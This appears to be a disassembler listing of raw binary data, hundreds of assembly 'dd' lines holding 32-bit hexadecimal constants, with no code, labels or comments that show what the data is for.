		dd 0F3E1FE06h, 0B90029CCh, 1B0ECDFBh, 3D9F501Dh, 0E5859682h
		dd 818BD904h, 1EB19A48h, 93B3C3C3h, 6A50CDF8h, 15535512h
		dd 0A564E0h, 1F0A035Fh,	27DEC8BDh, 0B3F3D27h, 5AB80218h
		dd 212CFABBh, 45BBC35Fh, 49AB3FD4h, 65136407h, 234C2FE7h
		dd 87D03BDh, 0F9F0F8B1h, 0DC24ABE8h, 8A08C8AFh,	553405B9h
		dd 43C81D3h, 917E13A5h,	0A0F4F6C4h, 0C3441880h,	2E5BB9CEh
		dd 1381B040h, 0A685183Ch, 16A2C810h, 8114344Eh,	0DCD8D4h
		dd 3EA3274Dh, 9796E39h,	0F262FE38h, 0C4714C71h,	0EB980C18h
		dd 576AA804h, 3CF11472h, 0A025DADDh, 0B42EA9C3h, 0F140ECh
		dd 0D0B3358Fh, 4C05B0BFh, 0C2DC9050h, 9B8C96Bh,	808037A8h
		dd 0ECF966BDh, 0C5041A07h, 78517984h, 1E3CE4h, 8F7E5081h
		dd 0B1B76734h, 87694003h, 2D86820h, 83BE2249h, 8A6079CEh
		dd 60006D36h, 1029D493h, 243FA8D0h, 4008FDFFh, 4D14EC40h
		dd 5043D76h, 0CD7F3C7Eh, 605868B8h, 84AD6810h, 8560A5Ah
		dd 0FB93E424h, 0ACB55063h, 0B8B212h, 0EC18E4D8h, 2FEBDB7h
		dd 6DD2681Eh, 0E4621B7Eh, 8775840h, 8A42F496h, 11A008E0h
		dd 67FC80BBh, 426453E2h, 591C009h, 0E48C868h, 612B2ACFh
		dd 5BD641A0h, 68C406AAh, 0DC37FC9Fh, 4B275339h,	7DA801CEh
		dd 54259B94h, 0A61E4441h, 0C85C8315h, 28A100A4h, 90D3C319h
		dd 0C50B29BCh, 47C4BD80h, 613F5F25h, 0A45C5868h, 0C8FC455Bh
		dd 440A197h, 245CF16Fh,	33F2349h, 0B0A1AF44h, 10A23C23h
		dd 3E695E30h, 8681E85Dh, 494DDD5h, 1814724Dh, 4EF1CFF3h
		dd 72394CD0h, 20DE2E00h, 9C86808Ch, 0C667EC0Ch,	438898B7h
		dd 43E33AA6h, 1330F9E2h, 27CE099Eh, 9C6808FFh, 3F84B330h
		dd 2C4C5992h, 6A295B13h, 0BFFF1044h, 27A11A84h,	102F87B4h
		dd 909F05EBh, 0DE8688ABh, 9AB18FBh, 0E19B0488h,	54F6D000h
		dd 4648CF8Bh, 0DC9AA194h, 72895303h, 30722EB6h,	0B2440CCh
		dd 7D6981CBh, 13FE0040h, 6F747932h, 25212446h, 0A89809F4h
		dd 0D815A059h, 0E1D406C8h, 0A1C9F2h, 469A8532h,	6C921119h
		dd 0F7D29400h, 0A08DC404h, 0CDB012CFh, 18F2F9h,	52719B3Ah
		dd 0A7C416h, 0B9E3FCB1h, 7F14C0DAh, 0C61C83B0h,	14246CD9h
		dd 0FC4674h, 76AA15C8h,	0B930442h, 0D182511Bh, 0CAE880E0h
		dd 80740A59h, 48D29967h, 58C09476h, 990FA005h, 40D33123h
		dd 35114213h, 74B09433h, 6900A346h, 0EB946F6Ah,	0A501F62Fh
		dd 0FE59D8CFh, 9028AB45h, 0ACDBF212h, 0C467DEE8h, 9C9A521Ch
		dd 42A19DDEh, 7FC5D313h, 7B8088AEh, 0C91DE055h,	366FC9C0h
		dd 0CDC22B7h, 4860B1BDh, 690093E9h, 56C29F08h, 0B9A42E4Bh
		dd 0C555478Ch, 0C598D0B6h, 974E3F48h, 725204C0h, 1B74FF8h
		dd 3C4990Ch, 0D8433F45h, 0E125F1C6h, 12A3727h, 0E3C54EF4h
		dd 0E4496103h, 86008C02h, 0B7109AE0h, 5A69CF1h,	1BBB2C4h
		dd 300400BDh, 4C1A7A4Ah, 0CC134F09h, 35A4006Dh,	714BF6h
		dd 0F9A9F1A6h, 0C0994ECEh, 0D1D2B41Eh, 23F42794h, 9962010Fh
		dd 0E8E48CDh, 999B0200h, 0DC681B6Ah, 2749F406h,	0B8FE3Bh
		dd 70F1C8A5h, 0D6484E51h, 0CB1DBB18h, 98E139h, 1501F91h
		dd 0F7778E45h, 0E839FC02h, 6CA9CD67h, 87320FCh,	0CAA5200h
		dd 0CB2C7472h, 7F8A44Dh, 0E0D3F2A1h, 9B718569h,	0E235C074h
		dd 0E8D8E0h, 0DEF07F64h, 6C1F5EE1h, 9C319807h, 0E215074Ch
		dd 2E3B90F1h, 0FC4233Ch, 75E0F00Ch, 0F14F516Ah,	9C5CF24Ah
		dd 90BD6D41h, 0BF701471h, 0EBB71CBBh, 0F90DC01Bh, 447DFF69h
		dd 3D0CF75Dh, 49118555h, 8C540B4Fh, 219D7418h, 6EEF41ECh
		dd 0E11FC0h, 525BCA13h,	0EC54F14Dh, 0C48B765Ah,	70C2B5C8h
		dd 9E684076h, 448180BFh, 0F0F59726h, 5EA2D302h,	3CF8C815h
		dd 4BB55BCFh, 0A4C81E38h, 7008188h, 53BE0506h, 1D5AC27Ah
		dd 0C6A1C451h, 58A2B6ABh, 0E4C69E25h, 15B41D54h, 61A50095h
		dd 0DDDCA21Fh, 7ECBA58h, 0B6874309h, 8EF6E0DEh,	0EA64C402h
		dd 9A79077Fh, 2A69D50Fh, 0C0529C88h, 0A7DFD81h,	0DB014B29h
		dd 6AE2CFDAh, 3C30C5FFh, 0C085CD4h, 69349178h, 0D1807C37h
		dd 9A065E46h, 7A4B05E3h, 23F4D523h, 4CC811F8h, 0FE1D45C5h
		dd 747E8ACFh, 0F4A84F05h, 74821BDBh, 86D330F3h,	0B1576912h
		dd 14C0C0A2h, 945686BCh, 25E78C58h, 5C1CC877h, 17500084h
		dd 65CEBEC9h, 721F7AB6h, 0DE1F0341h, 269F066h, 20B6738h
		dd 46726DDh, 5860B444h,	0B63CD9F6h, 0A5AFADA9h,	8CA8707Ch
		dd 4AA4084h, 1CA8CBDCh,	4C8CC7BCh, 5A0753F4h, 87A5F5A7h
		dd 0C09FA013h, 2600A270h, 0DEE672C7h, 75F1690h,	0A5D3A6D9h
		dd 8B7575C2h, 0C0A1C83Ch, 50FA2AAFh, 545A498h, 0C3BC9038h
		dd 8979008Ch, 9DE80CDh,	0DCF7EC04h, 0F34F7173h,	3D82A4D4h
		dd 97164037h, 82A40992h
		dd 0A402B84Eh, 0C2254904h, 5116A4C2h, 1CE9A7A4h, 78203B76h
		dd 5C73C160h, 0F71374B9h, 2C60C80Fh, 3D9E040h, 574C359Ch
		dd 0D805CBFFh, 0FB176FF5h, 4FC10480h, 30094C77h, 8ECADE81h
		dd 2E3E9Fh, 0A3030E23h,	0AAAE0844h, 7E00E2BAh, 10467470h
		dd 28B99B00h, 0F9FD7A61h, 0FC63B628h, 66A2B309h, 1338F8C1h
		dd 6EF21CC2h, 178800D0h, 854A6F41h, 96691CC3h, 0DAD984F0h
		dd 8FD58h, 324F67A5h, 1355154Ah, 4A19FECh, 0CE6E8Ch, 5ACCC29Eh
		dd 8C85CDAh, 485F70A0h,	44E9372Dh, 6AB400F4h, 0B274D122h
		dd 0E4B6164Eh, 0B89AF113h, 1C0130C0h, 0D9086B13h, 0D3C879h
		dd 0EEC1E141h, 0FF044835h, 0CD039CA7h, 88768CB2h, 0B2F3FA9h
		dd 14ACA2E2h, 13E00ADEh, 0CC70806Bh, 10487773h,	5FC90620h
		dd 18258Fh, 0E167A607h,	0DA0CACCBh, 0EC42565Bh,	564AB2D4h
		dd 81D68660h, 0E10099ACh, 0E34E5470h, 121B8955h, 0B2CCCE80h
		dd 15410FA8h, 9837A1A9h, 5180FE77h, 0B4B34A35h,	0A0049778h
		dd 0B06822FBh, 900284ADh, 0D6CF9480h, 0DE435500h, 9CC4A3A5h
		dd 1898D8B8h, 6B81AFF6h, 247C3472h, 30A0AAB3h, 4FB2D218h
		dd 25EACA88h, 0CCC1D9A8h, 0E400FE8Bh, 24A20F05h, 9FACC246h
		dd 20302882h, 5C22BEF2h, 70B090C1h, 5C49828Fh, 88EC7C7Ch
		dd 0FD49668h, 3EE17218h, 28765ABBh, 34C5282Ch, 0A8AA0FE8h
		dd 0CAFA7C82h, 0A4D9A702h, 305303A0h, 83FA8F80h, 3C541201h
		dd 18793857h, 7C4499D5h, 42DB19C0h, 81F60213h, 0D056EA9Ch
		dd 0FF74FC7Ch, 0DCF0EA18h, 274E4C0Fh, 0A7F0D91Fh, 19604B7Bh
		dd 7E80A481h, 9709E2FEh, 80C11174h, 0C18859Ch, 0CFBB04ECh
		dd 0F1D34F48h, 0E7789644h, 0B6235C2Fh, 27C66505h, 1652ECA4h
		dd 18D5D72h, 0AAB4DE8Ch, 463F7Ah, 938CCEDh, 9632749h, 0E347052h
		dd 16BF3098h, 0A2B4E3E0h, 0E0AD30B3h, 6D7E2909h, 2058E4C4h
		dd 7617E463h, 30E4C928h, 4DAD4033h, 0CB27E805h,	488934Fh
		dd 662388FDh, 6A5F6D03h, 0B72FC1C4h, 6098933Fh,	0FB770054h
		dd 0A07CAF89h, 2DF1A591h, 0DA7B009Ch, 5A9EAE1Dh, 32510768h
		dd 0E94B560Ch, 0CE714050h, 0A8CD0A0Ch, 16C75942h, 0F4DA6B27h
		dd 7090C078h, 0DC50A060h, 50833C80h, 0B0285CB2h, 33742060h
		dd 7C725613h, 51C59C87h, 45D18CC6h, 0C741C4F7h,	0F60EA00Fh
		dd 0CB48E097h, 1EF7B508h, 0BF5404E8h, 549F58F7h, 28CF8E8h
		dd 0E597CB32h, 8446823Ch, 5CE080B5h, 0BF4CDD0Fh, 0A5BB9C10h
		dd 0A0B94803h, 8B029371h, 7E381388h, 7790AC1Bh,	109DF5E8h
		dd 92A88A10h, 18A922D4h, 0B858E849h, 27B090BFh,	2822FBE3h
		dd 0E4E491C9h, 2AF80720h, 5CF8FA76h, 0BE29C87Dh, 42A12BCh
		dd 17350E18h, 0C9AB1820h, 843C038Eh, 0D206D590h, 44EAB3A8h
		dd 0E0C1302Eh, 4BBF408h, 0ACA3F3F8h, 18CB4E2Ch,	813BA3DFh
		dd 5B6D4708h, 26D8BC46h, 76B50227h, 0B492513Dh,	3F13CCD0h
		dd 0B008D5C2h, 4C7CB8A9h, 0C04E1D80h, 25A357C4h, 4002094Bh
		dd 2CE874Ch, 884845F3h,	0E82859DEh, 0D44028B8h,	0B3E0408Eh
		dd 8F4A4225h, 90F39640h, 0B60C5721h, 6FBE68FEh,	3D2528C6h
		dd 42A85DCBh, 0CC131E3Bh, 1808E891h, 0D0990965h, 0B0656648h
		dd 999DFF81h, 0CC473F93h, 3F221778h, 39C62304h,	0B297F582h
		dd 4843E0E3h, 0C40A11EAh, 6F80102Eh, 0CB84FBBEh, 2FF09968h
		dd 4BFAAC40h, 0FD948160h, 17136E14h, 0CBB03CD6h, 0C2B5C874h
		dd 18600413h, 882147Eh,	4A0038B0h, 89469495h, 7DD1F9E0h
		dd 0C8BDC855h, 1A1F5DB8h, 53021BBEh, 0B09EABh, 0A270CBE4h
		dd 2F23333Fh, 50E497h, 0DDF3F66Bh, 0C954F02Ch, 4A45080Ah
		dd 4674E0ECh, 69B800BEh, 505EAFE0h, 0F32D1D41h,	0EF788798h
		dd 5F5164F9h, 0E9718C3h, 23FBD39Ch, 601B5E8h, 1453F868h
		dd 8BB08468h, 1600680Fh, 7180893Bh, 4B725701h, 0D9E00AD5h
		dd 805A3CB4h, 0FB4C8124h, 70C1CC4Eh, 65606DF6h,	764F045Eh
		dd 0ECFD590Fh, 0B6821014h, 2C459E2Fh, 7F63F9C4h, 0CF0749C0h
		dd 0C16C2B5Ch, 44825873h, 3207870h, 72539ACAh, 0A8029EEEh
		dd 0A06E574Dh, 710CE068h, 0CF2B7h, 0D4BA8BE0h, 17918944h
		dd 58D99A02h, 87EECAABh, 58D068h, 25188CB5h, 68B196BDh
		dd 6C0AC780h, 4E073FEBh, 0C03C87A7h, 4AC9C398h,	9F8DA5Dh
		dd 58FE947Fh, 5B5709D8h, 8C567092h, 0B10711Ah, 78887AE8h
		dd 0BC723511h, 7FD8D010h, 81F17B24h, 9AAB5588h,	5889F412h
		dd 0E4702B2Ch, 679FBD0Eh, 1C09B6CDh, 0FCC41Ah, 94157DBCh
		dd 39B8F5B2h, 3F3C4103h, 11E97677h, 50DE7BB8h, 0E4876788h
		dd 934D60A7h, 2113012Ah, 0E4F19AF8h, 0A463D1h, 7EBA4F0Eh
		dd 4E0456h, 218A60Dh, 2FD3688Dh, 79993F14h, 0DC82249Ch
		dd 0DA69B684h, 0EC855043h, 2BE325E0h, 0FC1BBF00h, 36A3C347h
		dd 0D9260007h, 64FE509Ch, 284E7259h, 0F6C2C882h, 600E6B24h
		dd 0CEAFB568h, 64CF5CA4h, 8681F988h, 504B1A78h,	596C20h
		dd 5775439Ch, 90B0A0BDh, 5AC72707h, 0A3D4A7B4h,	6EC8A0A8h
		dd 7B4FC182h, 10FCFAFFh, 8877980Ah, 63B4804Dh, 3CAA536Dh
		dd 0E7711B2Fh, 62B64440h, 13D0C07Eh, 71F1830Eh,	41D0ADF0h
		dd 883CEC28h, 0E1F57718h, 15F404C6h, 0F2D59207h, 8F904F4Ch
		dd 739A6053h, 0F72E2FABh, 0FA6400C7h, 11915A60h, 58236EE3h
		dd 0FAD9E7B8h, 7B7400D8h, 4B1FB6FCh, 1CB86690h,	8B72F83Ch
		dd 702AAF0Bh, 451800D0h, 0AAD3FBF0h, 0A892B28Ah, 3124784Ch
		dd 3C7D599Eh, 0CC64D8D5h, 1771205Bh, 0E9004EEEh, 75D935DCh
		dd 74A5AE0h, 48B5DD74h,	70431957h, 4BBC8084h, 14137F91h
		dd 0D4F0F12Ah, 0E44082BDh, 4C92A77Dh, 0A0E8B648h, 2959B70Dh
		dd 25B4CB10h, 7A505CA3h, 0C7184862h, 0AE0C41C0h, 0A3939810h
		dd 10E5420Fh, 0F88B16D6h, 52C7B4C8h, 0F3A11050h, 0CF9F060Ch
		dd 99C6447Dh, 5642B509h, 0CBD469C9h, 73CD2701h,	33B3E218h
		dd 0FA0D7EF8h, 4247309Ch, 3DD66B50h, 0F4C75CABh, 4E11A894h
		dd 59177FACh, 8422A320h, 425804D9h, 0DE82CD9Bh,	6BE28198h
		dd 0F14C7E02h, 9CE848CBh, 4BE10640h, 482004A9h,	67FCC0E3h
		dd 75167170h, 6891F2F1h, 0DDC0D71Ah, 7B5800C4h,	0CF536E42h
		dd 360B5171h, 4DF25AFEh, 0BAF260A4h, 0F80C502Ch, 2843EACFh
		dd 7A93E037h, 0D0695A97h, 7121CA8Ch, 0EB177D07h, 0AB807F80h
		dd 13EA6426h, 0E468B698h, 2200E6C0h, 0B97A232h,	7CFA03h
		dd 388DDC3Eh, 7842AA9Ah, 105D0127h, 445B5FE4h, 79127F0Ah
		dd 14879BF3h, 11B46F81h, 0F8D8842Eh, 8C0FECD4h,	7AA9B200h
		dd 3E0CF946h, 0DCB0E0h,	0C607F0DEh, 0DF7B2748h,	24EA549Ch
		dd 69800411h, 4648D499h, 3C05C91h, 0B7B9962h, 1F76A29Dh
		dd 0FF1F0F9h, 56009018h, 0A27299C3h, 7F64E9Bh, 0CB367FA5h
		dd 58E88003h, 0B0BF2Dh,	57B08E7h, 499A357h, 0E97CE8F4h
		dd 0C42731EEh, 0A32D53A1h, 7E88838Eh, 1158A276h, 0D01213F7h
		dd 0E2559E4Bh, 32F00463h, 80DDBE49h, 0A54C0FCBh, 4849384Eh
		dd 84D4744Fh, 0C1C5685Fh, 888D2C3Ch, 203FDB0h, 0C663347Dh
		dd 10203458h, 9CB0C235h, 0F85EC467h, 44F85AA5h,	14B14CEFh
		dd 6536A102h, 0DBFE63A5h, 4825F08Eh, 9960175h, 0BC69847Bh
		dd 2F9460F4h, 7751D362h, 0CA0AF28h, 38E49B0h, 0F8B64041h
		dd 0C4904275h, 3B01A11Eh, 2AF53690h, 2F7A6135h,	8C77C4h
		dd 4196838Ch, 48448E26h, 3933F12h, 0DBA63C00h, 246129C7h
		dd 24063D08h, 35A0B938h, 947C3045h, 18CC5BCh, 1121D447h
		dd 0CCC8A0DAh, 3525CCB7h, 0E4EC4588h, 0FB4F61A3h, 12C516F8h
		dd 0B4ABCCB9h, 0B325F1ECh, 0CEFCA15Ah, 3E10DA69h, 7400476Ah
		dd 4C793028h, 3653A4Eh,	0C0D8DD4Bh, 0AEB2551Fh,	0CF2CBCD0h
		dd 0BA14680Ah, 67FD804Ch, 8C6C53FBh, 790A544h, 0D1856806h
		dd 9546F0EBh, 66F261A8h, 0F320DD64h, 0AF0044FDh, 5B620F1Ch
		dd 2049157h, 0B39DDE81h, 642458F8h, 0C1A86230h,	911C1D5Dh
		dd 809481F8h, 0B462CB34h, 0B24E5400h, 7AA58609h, 66E6840Ch
		dd 0C20668C5h, 0F987B439h, 30964F1h, 0B0D8FA41h, 2964A10h
		dd 0CB131D1Ch, 0B85409h, 5170A458h, 4F124E35h, 2802F71Bh
		dd 0FC6134E3h, 0A1465EFCh, 649EFF00h, 0F74F4843h, 0F00251D6h
		dd 2276DD4Ch, 909A1B5Ah, 0D48C7Ch, 0BD0B7AB6h, 0B4A84502h
		dd 266CEE4Ch, 86030E1h,	868C43h, 0B76EEA5Fh, 678ECE5Ah
		dd 35751AE8h, 70566226h, 0EF072A11h, 0F36CCFEDh, 7D80E34Eh
		dd 0CC17AEC5h, 2CF67A5Bh, 0A24BCB16h, 0E0207F4Ch, 78EA0FD5h
		dd 6AE07DDEh, 4F44DB9Dh, 99B7CC03h, 993116AEh, 6AFF69h
		dd 0D77BD418h, 1F7B5ECBh, 2BBA650Bh, 40205EDBh,	4F4C3251h
		dd 0D2EFA425h, 0E4684AD8h, 210046B8h, 176F713Eh, 0A9758Eh
		dd 0DDE85881h, 6314F9FBh, 0CC431200h, 6B4E5F70h, 7FFF059Dh
		dd 2DD6CD0h, 10A5E0F4h,	0C5E930FEh, 60C3646Ch, 47208D3h
		dd 0EAE42AADh, 6738E062h, 0B67F7E00h, 9E591540h, 2D8B061h
		dd 0A34ED8BDh, 94DC0CC0h, 0E749FD47h, 60C064ACh, 77BA963h
		dd 4DEE5550h, 0C9434435h, 26547304h, 0FF5E0874h, 0CD0E7518h
		dd 0E2776F0Fh, 51F8EAE3h, 8EA58774h, 0DF2792F0h, 4F35ECE4h
		dd 8080A1F1h, 98ABDCFBh, 0C3071328h, 0B32488FFh, 3DD069D0h
		dd 0DD1B841Fh, 2491BC5Ah, 402F4ACBh, 9721A0A4h,	5D2D2099h
		dd 52C64C0h, 0F37C619Ah, 0F56CD071h, 4062F76Eh,	22A8B048h
		dd 5621D64Eh, 0C42814AAh, 40CE3450h, 340AE712h,	94C95794h
		dd 9B954A01h, 3C100968h, 0BBEA7FCCh, 6920C864h,	0CBBC84B8h
		dd 596D048Ch, 0CCA28472h, 128B4E00h, 0A9D32360h, 4DEDDFE0h
		dd 0A973C0E4h, 0C81F191Bh, 43C139A0h, 125B5336h, 8FA4C12h
		dd 2B402A04h, 24BEB289h, 9020AB9Ch, 1FA9F4E2h, 0E7816F3h
		dd 5D0144BAh, 70FAB610h, 4309BF40h, 0A0800264h,	56D17E50h
		dd 777F2FE0h, 0B255C8A7h, 54093CDh, 0A05E945Ah,	0B3C8848Eh
		dd 1170A2C7h, 1F44828Ch, 0C21E2206h, 9F664B53h,	4A00907Ah
		dd 6AEF958Eh, 302B6760h, 8FD9D3F2h, 7D285DF8h, 0D200F743h
		dd 1C17099Eh, 95F7C608h, 70B0A866h, 8C02720h, 0C22A54D9h
		dd 0FC40833Bh, 7C9A0529h, 41589C99h, 0DD97AC53h, 7180E701h
		dd 0A912275Bh, 344B774Fh, 0B68C4456h, 0B3465EB0h, 69770402h
		dd 0C0E180A9h, 9FD501D1h, 1C2D46F1h, 6A5AD309h,	1D2FFC58h
		dd 0A2D893FDh, 0AADC0408h, 0A4024025h, 0D1C0E682h, 9C7D843Ch
		dd 1C8AC2Bh, 48D0109Ah,	9B2BBBCEh, 85E483E8h, 1C51BFADh
		dd 0EBF57E96h, 161C206Bh, 650741FBh, 81049113h,	5074FE0h
		dd 577D0B01h, 0D44E60F1h, 79849A71h, 806C43A6h,	9CA80869h
		dd 0A88EBFA7h, 472B6B20h, 829FFF57h, 563E28ECh,	42A44838h
		dd 780BE032h, 0E0B24144h, 1997D056h, 1C499A40h,	3096C8DDh
		dd 25E8E031h, 5084565Ah, 0C09042AFh, 0F4D3CE7Fh, 534A406Ch
		dd 4C1038A8h, 4F157FBFh, 26E0E7DDh, 0BB08A835h,	99D9000Ah
		dd 963B5612h, 2860CD49h, 0E0957C44h, 2F4F8364h,	0A4EC12A3h
		dd 0A1D95A30h, 0E13F3747h, 668C612Bh, 25BD70CDh, 8A9C20A5h
		dd 6CC8D693h, 206288E4h, 0A0FD540h, 0C2019A0Bh,	58D9C170h
		dd 1FC20872h, 4933D67Eh, 54502B57h, 0A819AB2Ah,	4BC6748h
		dd 0CE111395h, 0B850CCh, 27B0A1F1h, 0E5520FE6h,	2CDB63Ch
		dd 0AB53FA36h, 0CEE0A056h, 0FF7455F4h, 69CF0h, 28D25C80h
		dd 1FCC6E75h, 8942EC00h, 0BED899E0h, 7021C096h,	521D0F08h
		dd 0F442FC00h, 99D17FAFh, 25807510h, 4868A19Dh,	0C107C61Fh
		dd 0C846C378h, 66D99B81h, 38F96CC8h, 82071891h,	1080877Fh
		dd 0F8D40268h, 299A130Eh, 8EA00C2h, 0B6D9A33Dh,	1E9F04E0h
		dd 0E250A02Ch, 0A6D060F1h, 0AAE864F8h, 0A5A9C600h, 0AD15D047h
		dd 0A19125CAh, 70260848h, 2A612CB0h, 90B37E11h,	2AB236F4h
		dd 62DC7A4Dh, 0DB4F10D9h, 4FB5120h, 248973DDh, 8580743Fh
		dd 69279FBDh, 1F25C928h, 0CC82F80Ch, 0CF204558h, 0C65400DFh
		dd 0C91CB0EAh, 0CDE8BF74h, 2C90A94Bh, 1515A048h, 40DD70F7h
		dd 0CD0AB6A0h, 0F3A010B7h, 7FE72CB5h, 2C5801D0h, 11DA0603h
		dd 88B9576h, 20936DDCh,	1D3C6BA5h, 59F04CB2h, 0B59E67B0h
		dd 0CA30902Dh, 42563428h, 8005F096h, 0EAB600DAh, 77682518h
		dd 0D0CFDBFDh, 0D7C0BEBDh, 5190C37Eh, 4898511Dh, 3D23BC1Eh
		dd 5359D961h, 0A2F29853h, 0CB084047h, 91BA624Dh, 20E83522h
		dd 23BD4003h, 21068B48h, 59116FA9h, 4AD9A802h, 78C4ABCDh
		dd 0DA0B3F0Bh, 0B08180BAh, 22FD624h, 0C83E1DFEh, 704834DCh
		dd 0A1789D8h, 0E4082678h, 365883C5h, 0BBE255BFh, 486F2099h
		dd 404D69BCh, 63B61254h, 0C8C09C12h, 7C9A6BBEh,	0B70435FDh
		dd 72100208h, 957FCD0Ch, 188FD024h, 79260CB0h, 0C909606Fh
		dd 4C848FA5h, 40881097h, 6040CFD0h, 82C6278h, 99029063h
		dd 28ED026Bh, 2937502h,	0CB037701h, 204010CEh, 62743871h
		dd 2244410h, 20EB465Fh,	253E6910h, 0F4512A37h, 88C6043Ah
		dd 840E406h, 54B9E662h,	0A0A80F47h, 1816810Ch, 109F63BFh
		dd 20192D6Fh, 2C085D9Dh, 14AFF11h, 2888DCD8h, 7D0869FDh
		dd 79030C8Ah, 87808CD1h, 0A428CCC3h, 1562A7A1h,	2CF0B68h
		dd 6F035C40h, 0A81018D6h, 3FDC08BFh, 113618C6h,	0C1802030h
		dd 4580B354h, 0C4169C40h, 4394319h, 19063CBAh, 58B00885h
		dd 0C46808C6h, 0B86E2A28h, 8A26ED4h, 0C8266CEBh, 72FA10CDh
		dd 81BBC980h, 4B699592h, 0A11B33F0h, 2D611096h,	2E10194Dh
		dd 88C89F1h, 1728DE23h,	0B408CA65h, 6F57FC44h, 65B2004h
		dd 2020D826h, 0F8208D33h, 0A7B23198h, 8CA17418h, 182F9008h
		dd 7DC040A4h, 648C1950h, 0C007B1CAh, 1B757988h,	91EC8178h
		dd 282D02Ch, 0A280A698h, 73223161h, 8C846E18h, 18D9FD08h
		dd 600C62C1h, 61029721h, 0A3D50340h, 0C6882019h, 0BC518208h
		dd 6301208Eh, 45A2011Fh, 8C5FB601h, 30BCA108h, 8A462AAh
		dd 6049441Eh, 14088833h, 0B0210A3Bh, 1063999Ch,	2B69882Fh
		dd 3831083Ah, 158C2408h, 0F73AE468h, 0A0A93FC0h, 74BC24A1h
		dd 4F20CC63h, 100810D2h, 3C0324D0h, 830EB8Ch, 1071CC09h
		dd 91C6AD41h, 620823CEh, 9AE1893Eh, 286F702h, 94820811h
		dd 1F036CC8h, 49101004h, 0D8E42A64h, 10741231h,	889655Ch
		dd 5C28A947h, 325188F0h, 831A80Ch, 18AA6693h, 1F328959h
		dd 49135810h, 0F051DB9Ch, 0C00199B1h, 0C420920Fh, 235F4449h
		dd 20FF3CB4h, 657DA6F9h, 0CCC92A80h, 0C2394B10h, 3C9051DFh
		dd 7ED13F31h, 73189DD7h, 0DB363160h, 17B3C10h, 8982781h
		dd 1B93E933h, 0E8950C6h, 0C8E2008h, 0F4FCB955h,	775BC63Dh
		dd 40D30040h, 0B5B093F9h, 816CF487h, 80AD7C11h,	0AEEC2010h
		dd 21FDA7Fh, 0E11553B6h, 80E93199h, 625F0F5h, 0BE205A00h
		dd 1C6B13CEh, 0BC7E014Eh, 0D8E84708h, 58B86324h, 0B2150098h
		dd 55E50D3Bh, 1E330CC1h
		dd 0A9509B3Ah, 0D950FD01h, 299C4BA6h, 1674A1B9h, 404C76BBh
		dd 4B8726B8h, 42009871h, 86A5C1BFh, 2BB5D2h, 115563BCh
		dd 0BD67F3A6h, 1DE0CAFCh, 605EE330h, 384ABFDh, 403F0CFh
		dd 59886EEDh, 81B7C521h, 4F3B6924h, 0A99D8C40h,	0ED410570h
		dd 0D2631EE2h, 84F449F8h, 1086380Ch, 385562E4h,	74DC84EAh
		dd 9245300h, 2DBF63Fh, 76AEA57Dh, 808E12ECh, 3200C5EFh
		dd 5EB4A2BBh, 0EEA6E100h, 0F35AFE22h, 0B0B76034h, 4EA76E0Eh
		dd 0C0B6DE00h, 7F260712h, 8086062h, 404A579Fh, 0F4DC0F2Ch
		dd 51C52240h, 0FE0825B4h, 406488h, 0F39DAF15h, 0DE78AAA8h
		dd 2B69D101h, 0C39C06Eh, 3055509Bh, 3520A6D8h, 0B392C207h
		dd 0C8401DABh, 0E85756E1h, 10C01450h, 6200CCDDh, 4DC56959h
		dd 0F4042996h, 0C18835F3h, 7618B013h, 60E1023Ch, 0E51D68F0h
		dd 53C61F23h, 7748B098h, 0ECA9B4A6h, 0C4A8404Eh, 767BEA48h
		dd 0DD189D60h, 14DBAEFEh, 0B4290F1Dh, 4506D16Fh, 41291070h
		dd 0F0E800Eh, 0BBBF81B9h, 0C5240BCh, 18C072DAh,	3882831Dh
		dd 0BC7C7FDBh, 0DC59F915h, 1CC3A98h, 1E5F01EFh,	618011E5h
		dd 0C68E4DF7h, 1F04B77Ch, 0E971F3FCh, 84004094h, 0FA092BC9h
		dd 46573A9Bh, 0BACFF30Ah, 0DA2A40E0h, 682FC6A0h, 4D68C1A3h
		dd 37696820h, 70A0D917h, 0C404757h, 6740E4A6h, 1DF380CCh
		dd 5E50CB62h, 44D26Ch, 0D7DBF93Fh, 0F0AEAF1Eh, 6B207490h
		dd 0F0567E92h, 0DE28A004h, 0A1239039h, 246C9F58h, 8F1CD303h
		dd 77A0101Eh, 58C22C17h, 0AA865A33h, 0B0A308F0h, 6DA8803Bh
		dd 181E0BCEh, 0B890AB85h, 11C43B7h, 0F84056C8h,	25F0F3h
		dd 2A60950h, 3C9D98B3h,	9C46DFDBh, 122E8520h, 19064BEAh
		dd 0BFC038h, 7AD632h, 786E0F9Dh, 692627BDh, 88BE5A30h
		dd 60747767h, 0B96FB057h, 0FD032066h, 485EE6D3h, 9B65E0BAh
		dd 0D5F50680h, 6801951Dh, 4F184278h, 98814ECBh,	0A6498019h
		dd 7A08ACF0h, 7C34DF3h,	833DB5F5h, 0C80032ABh, 99EB1C5Eh
		dd 140A262h, 0D6014719h, 0D11E0D6Ch, 0F441004Dh, 92B80B08h
		dd 0C083CD63h, 1907DFA5h, 75889877h, 0B82B2C4Fh, 688531ACh
		dd 0F1DDFDE0h, 65BBDCB9h, 83E79CA3h, 287C9C2Bh,	5EEF480Ah
		dd 6941FC6Ah, 8440ECD2h, 3EA0AFB7h, 4C008F8Ch, 41F3BAC4h
		dd 0D79D004h, 0B788300h, 8646B472h, 0E8DA019Dh,	82561A5Eh
		dd 0B769C097h, 0A170516Eh, 9686657h, 3B01FC68h,	8A88A5A3h
		dd 0B244F060h, 0A9CE900Eh, 873400E3h, 67E063h, 0CB84F541h
		dd 0F4779DF1h, 0E4910576h, 3F895CA3h, 0AE5804F7h, 5CDE84C1h
		dd 647D188Ch, 0F8920440h, 0CC80A516h, 8D31020h,	0D8D75011h
		dd 0F86540F1h, 498BA00h, 7FF60A94h, 0F7AE0CB5h,	1D51F140h
		dd 9D0BAF2Ch, 13744B0Bh, 2277D91Ch, 1872419Dh, 1561807h
		dd 0F02A9C90h, 6A1EF412h, 9809DA5h, 1E02F2A9h, 1848B271h
		dd 98E43769h, 800F87CCh, 745EAEBDh, 1A8C4CCh, 10706480h
		dd 6A7301Eh, 0B3329938h, 0BF49A00h, 0EB812777h,	60A500D4h
		dd 1DE81F5Ch, 37006F4Ch, 0A62692E5h, 257D0h, 9F4BC08Ah
		dd 7C9D8189h, 71561E1Bh, 0DAEDC050h, 0EF975CB6h, 34E0132Dh
		dd 9E000A51h, 646F265Fh, 0C4B420F8h, 9494DF9h, 6740F47h
		dd 101360h, 0DBD0FAC5h,	92C555Eh, 0B61E6918h, 309EBBE0h
